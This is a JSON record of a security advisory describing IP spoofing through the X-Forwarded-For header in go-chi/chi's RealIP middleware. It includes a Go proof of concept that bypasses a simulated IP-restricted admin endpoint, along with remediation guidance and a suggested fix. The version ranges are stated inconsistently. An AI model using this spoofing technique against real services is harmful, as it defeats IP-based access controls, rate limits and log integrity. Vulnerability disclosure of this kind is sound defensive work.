{"id":"GHSA-3fxj-6jh8-hvhx","title":"chi Has an IP Spoofing Vulnerability in `middleware.RealIP`","summary":"chi Has an IP Spoofing Vulnerability in `middleware.RealIP`","severity":"medium","cwe":["CWE-290","CWE-345"],"vendor":"go-chi","product":"github.com/go-chi/chi/v5/middleware","ecosystem":"go","affected":["github.com/go-chi/chi/v5/middleware >= 5.2.1, < 5.3.0"],"patched":["github.com/go-chi/chi/v5/middleware 5.3.0"],"published":"2026-06-25","updated":"2026-06-25","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-3fxj-6jh8-hvhx","references":[{"url":"https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx"},{"url":"https://github.com/advisories/GHSA-3fxj-6jh8-hvhx"}],"tags":["ghsa","go"],"ingestedAt":"2026-06-26T16:43:14.239Z","slug":"GHSA-3fxj-6jh8-hvhx","body":"## Overview\n\n## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n // ...\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\")\n }\n // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: , `, and `go-chi/chi` will treat `` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"net/http/httptest\"\n\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n\n // Enable the vulnerable RealIP middleware\n r.Use(middleware.RealIP)\n\n // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n clientIP := r.RemoteAddr\n fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n // Simulate IP-based access control\n if clientIP == \"1.2.3.4\" {\n w.WriteHeader(http.StatusOK)\n w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n } else {\n w.WriteHeader(http.StatusForbidden)\n w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n }\n })\n\n // --- Attack Simulation ---\n fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n // 1. Normal Request (Should be denied)\n req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n rr1 := httptest.NewRecorder()\n r.ServeHTTP(rr1, req1)\n fmt.Printf(\"[Client] Normal Request -> Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n // 2. Spoofed Request (Using X-Forwarded-For)\n // Attacker claims to be '1.2.3.4'\n req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n rr2 := httptest.NewRecorder()\n r.ServeHTTP(rr2, req2)\n fmt.Printf(\"[Client] Spoofed Request -> Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` <= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n xff := r.Header.Get(\"X-Forwarded-For\")\n if xff == \"\" {\n return r.RemoteAddr\n }\n\n ips := strings.Split(xff, \",\")\n // Traverse from right to left\n for i := len(ips) - 1; i >= 0; i-- {\n ipStr := strings.TrimSpace(ips[i])\n ip := net.ParseIP(ipStr)\n if ip == nil {\n continue\n }\n\n if !isTrustedProxy(ip, trustedProxies) {\n return ipStr\n }\n }\n\n return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n for _, network := range trustedProxies {\n if network.Contains(ip) {\n return true\n }\n }\n return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.\n\n## Affected packages\n\n- `github.com/go-chi/chi/v5/middleware >= 5.2.1, < 5.3.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/go-chi/chi/v5/middleware 5.3.0`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}